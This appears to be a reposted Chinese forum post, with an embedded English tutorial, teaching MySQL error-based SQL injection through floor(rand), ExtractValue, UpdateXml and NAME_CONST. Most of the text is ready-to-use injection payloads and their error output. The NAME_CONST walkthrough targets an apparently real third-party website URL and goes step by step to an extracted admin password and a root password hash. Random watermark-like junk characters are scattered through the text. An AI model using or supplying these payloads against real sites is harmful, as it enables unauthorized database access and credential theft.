mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
" Z% I+ m+ s( L首先进行正常查询：

mysql> select * from article where id = 1;
1 z, B8 l& L  \. e7 _, C0 Y) O9 K+—-+——-+———+
1 s3 |9 m. H4 L. z3 x3 s: L| id | title | content |
0 |' I. |$ F% C+—-+——-+———+
$ D* t' ^; K* f, M: w* G- \& W: m/ I|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
  w3 u( u% O) F8 k7 XERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

1 v4 r$ I7 U$ O- ]

再收集：

1 Z: [, [9 b2 f: ?% ]* j6 c  Q; U) F, Hhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

5 ?* a+ M/ L0 ZErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
6 o! `0 V0 B7 @
& y5 m, {" i' \9 }- F" E$ {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
% b8 T  ^0 q: B, u
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
2 l3 k0 A! B' X  F( o1 t; Y
( Z) m6 Q9 T, k" @1 N0 C% XMYSQL高版本报错注入技巧-利用NAME_CONST注入
" @) `( u" {0 E2 M4 k' iIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息

& F9 E+ F0 ?8 r6 ]; ONAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

& A/ a7 p  ]& N- a% tCode:
. q$ `0 H9 X& G# MNAME_CONST(DATA, VALUE)
& R, j6 g. a$ B; b) x+ i: B9 z
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

$ E6 J4 ]) q2 R7 B: c; S- mSELECT NAME_CONST('TEST', 1)
) `, ^4 z6 D1 u4 I) o
. W, r2 v1 K! J% p' t% g
' y* J7 A* I  j  E% ^6 `/ u
|---------------|
|     TEST      |
|               |
|---------------|
8 X. N3 M% p* o% o; A: o  P|       1       |
|               |
$ n/ z, G/ v% A2 V! I3 Y! m$ N2 k|---------------|



( l) R9 x4 U& s" C1 s
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
2 E0 r! R, }% g# \" E2 |9 w
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

  P. }; {2 V( M, \3 PCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
" v8 r( D1 E  Y7 p9 g: l' @2 Z! d; w


$ R: d+ N% o- B/ ^, o

Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, `) D; ], a" e, a( X8 V

9 F( L" b& e) h' [- JVAR = Your MySQL variable.
9 ^& L6 w0 X0 p0 i& ]. }, D. ~+ ^
MySQL 5.1.3 Server System Variables

9 S2 m! U. I% pLet's try it out on my site..

3 j3 ]: M  T8 b8 d+ I7 fCode:
; B4 x( h! w9 M8 E) {+ Zhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
: k+ A% l; u. ]: y2 o* t% ^8 @' v9 i
, ~$ y. @6 X4 c- Z  ^+ nErroruplicate column name '5.0.27-community-nt'
) v# X4 L+ {- k: p7 m" X


2 D  ?4 F- d- h
( O8 k' j; r* e6 C& x' `4 D7 S4 G
2 o2 ?4 O6 K: M" M3 @6 P) R% jNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
! o( n7 l8 @- L: u- Q
. W: P7 z4 R- n. [1 `5 o9 o2 fCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

; C' D) I* ^8 D3 a
We should get a duplicate column 1 error...
1 [3 G1 B8 b4 @9 X
! A( w7 ^  B) }4 J* WCode:
% \2 X. Z. ?/ W$ p; X* Uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1

& L( {* ^3 O. O! V8 \3 f/ _
; k& x! o; R7 I' r! b0 ]
0 o# y7 l0 x2 c8 M7 f7 o5 I
  v' h% O& Y, _, {
) u  q' f% D  M
Now let's get the tables out this bitch..
- b  J: O, @. B# M6 J
2 q5 V4 k; t+ G% y2 C& K: R: tCode:
4 G6 o; C8 U* e, V" l+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
- i4 k5 a+ o5 t0 @% j  F
) I4 B. x5 x1 }! e
2 |6 p+ f# S6 h3 @7 Y1 `9 V* vLet's see if it works here, if it does, we can go on and finish the job.
! G5 G/ B% x- a6 e# Z, D
5 R6 s+ U/ H+ k3 H" w( CCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

5 S$ G6 \" a  {* _) P5 L* w2 \
  p4 U/ F. P" g! _! cErroruplicate column name 'com_admanage
3 n2 T8 P  X+ g( P* ^! n* |- ~




4 W" \8 H" Z# L+ P  O# _
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
; d) g4 `8 Y9 f2 f7 Q! ]2 f, c% Z
1 _" f, c+ g3 }' X1 lCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
3 @7 |# g+ p5 y: a0 B

  m) _; n4 C6 t7 t8 B2 Q/ a" OSo mine looks like this, and I get the duplicate column name 'Host'.
  u# v4 `8 [; w  \0 m3 S- Z
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
5 ]: x$ l# t9 k) i! f
: h# \/ K8 M( s' G: CErroruplicate column name 'Host'
7 M% t2 I: f$ n4 j( Z+ p
8 N3 ?# }: _9 q& u# [* o. f
/ O& `$ J# n+ }7 @, l



Woot, time to finish this bitch off.

Code:
- ^. ?5 }' y8 [9 x+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
/ ?6 A5 b& b  R, \: c8 H2 C

So mine looks like this...
# {( T' P& \) y9 A& b
4 M/ @' p9 X8 ~# gCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
$ Q3 O8 J4 m8 g' Z, P1 `$ r
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

8 x" `) ?* R/ [' \# }

& J( J2 }* K' {, \' O) V: S& V( d


& P! z, g6 p, P6 ?$ P+ t; SAnd there we have it, thanks for reading.
- t; r# M7 z1 l& T0 c6 ~, K
5 F% k9 n3 T- N3 B$ E